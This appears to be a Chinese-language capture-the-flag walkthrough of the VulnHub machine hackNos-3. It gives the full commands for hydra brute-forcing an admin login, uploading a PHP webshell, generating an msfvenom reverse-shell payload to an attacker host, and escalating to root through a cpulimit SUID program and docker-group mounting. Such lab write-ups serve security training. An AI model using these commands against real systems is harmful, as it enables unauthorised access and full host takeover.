介绍信息收集
主机发现主机信息探测 网站探测
目录扫描访问子目录爆破登录站点登录网站 Getshell
方法1:命令执行-失败方法2:msf-失败方法3:冰蝎 第一个Flag提权获取flag2
查找 suid 文件-cpulimit提权通过dock提权 参考
介绍系列: hackNos
发布日期: 2019年12月14日
难度: 中级
Flag : 一个普通用户的,一个根用户的
学习:漏洞利用、web攻击、枚举、权限提升
靶机地址:https://www.vulnhub.com/entry/hacknos-os-hacknos-3,410/
netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。
sudo netdiscover -i eth1 -r 192.168.124.0/24主机信息探测
信息探测:nmap -A -p- 192.168.124.26,只开放了22和80端口
访问80端口,收到一个提示,暂时不知道“WebSec”是什么。
发现三个子目录,其中存在网站首页提示过的“WebSec”
gobuster dir -u http://192.168.124.26 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt访问子目录
- /scripts
- /devil
- /websec
页面上的内容点击到最后,显示的最终结果是一个Email地址
对其子目录再进行扫描
gobuster dir -u http://192.168.124.26/websec -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
分别访问这两个地址,显示的效果一样。接下来暂时也没发现别的啥,考虑爆破网站试试。
首先使用cewl获取字典。下面两种命令都行。
cewl http://192.168.124.26/websec/websec -d 2 -w wordlist.txt cewl http://192.168.124.26/websec/websec > cewl.txt
然后就可以爆破了
Email地址应该就是contact@hacknos.com,使用BurpSuite爆破较为简单,这里介绍一下使用hydra爆破。
- 首先获取失败时返回的内容,得到“Wrong email”
不需要完全复制,复制部分错误内容即可。为防止复制格式错误,还是去源代码中去复制好一些。
- 得出规则
hydra -l contact@hacknos.com -P cewl.txt 192.168.124.26 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Wrong email"
得知是http-post-form
得知用户名和密码的参数username、password
如果爆破出现错误,只要命令不错,不用管,重试一下。我第一次爆破没结果,重来一下出结果了。
得到账户:contact@hacknos.com,密码:Securityx
在“Content-File Manager”中找到可以上传文件的地方,可以试试getshell
后来查了一下,网上别人的文章是使用方法1、方法2都可以成功,我后来试着删除或者清空过“.htaccess”,都失败,也试过访问别的文件夹(如下图的主题文件夹),都是失败的,原因未知。最后是使用冰蝎连接成功了。
- 打开tmp文件夹,上传一个php文件
- 访问文件,被拒绝:http://192.168.124.26/websec/tmp/cmd.php
看了眼“.htaccess”,把这个文件删掉,再刷新 http://192.168.124.26/websec/tmp/cmd.php ,不报错了
执行个命令试试,有点意外,失败了,如果成功的话就直接反弹shell了
虽然方法1反弹shell失败了,还是有别的办法
- 生成反弹shell的php文件
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.124.22 LPORT=4444 -f raw > shell.php
- 上传文件
- 运行kali失败!
use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.168.124.22 set lport 4444 exploit方法3:冰蝎
由于冰蝎不能调节字体大小,截图体验不好,因此把shell传递给MSF
- msf准备
use exploit/multi/handler set lhost 192.168.124.22 set lport 4444 set AutoRunscript migrate -f # 自动迁移进程 exploit
- 冰蝎准备
- 拿到session
- 获取交互式shell:python3 -c 'import pty; pty.spawn("/bin/bash")'获知有家目录的用户:tail /etc/passwd
- 获取Flag
看到了cpulimit,可以试试cpulimit提权
find /usr/bin -type f -perm -u=s 2>/dev/null
获取一个新的终端,但是权限仍然不高,需要提权
- 准备提权文件: suid.c
#include#include #include int main(int argc,char *argv[]) { setreuid(0,0); execve("/bin/bash",NULL,NULL); }
试着运行一下,没问题,可以提权。接下来就是把这玩意放到靶机上。可以通过base64编码文件,复制其内容,然后粘贴到靶机上再base64解码,我这里不费那个力气,直接使用冰蝎了。
vim suid.c gcc suid.c -o exp ./exp
- 通过冰蝎把exp上传到靶机赋予exp可执行权限
- 运行exp
直接运行没用,需要借助cpulimit:cpulimit -l 100 -f ./exp
获取flag
假设现在是普通用户,发现存在docker组,但是没有发现镜像文件。
- 下载镜像,自动下载 alpine 文件:docker run -v /:/mnt --rm -it alpine chroot /mnt sh赋予终端:bash
- 退出,查看当前 images:docker images挂载镜像到mbt目录:docker run -it -v /:/mbt c059bfaa849c
OS-hackNos-3 Walkthrough Vulnhub CTF



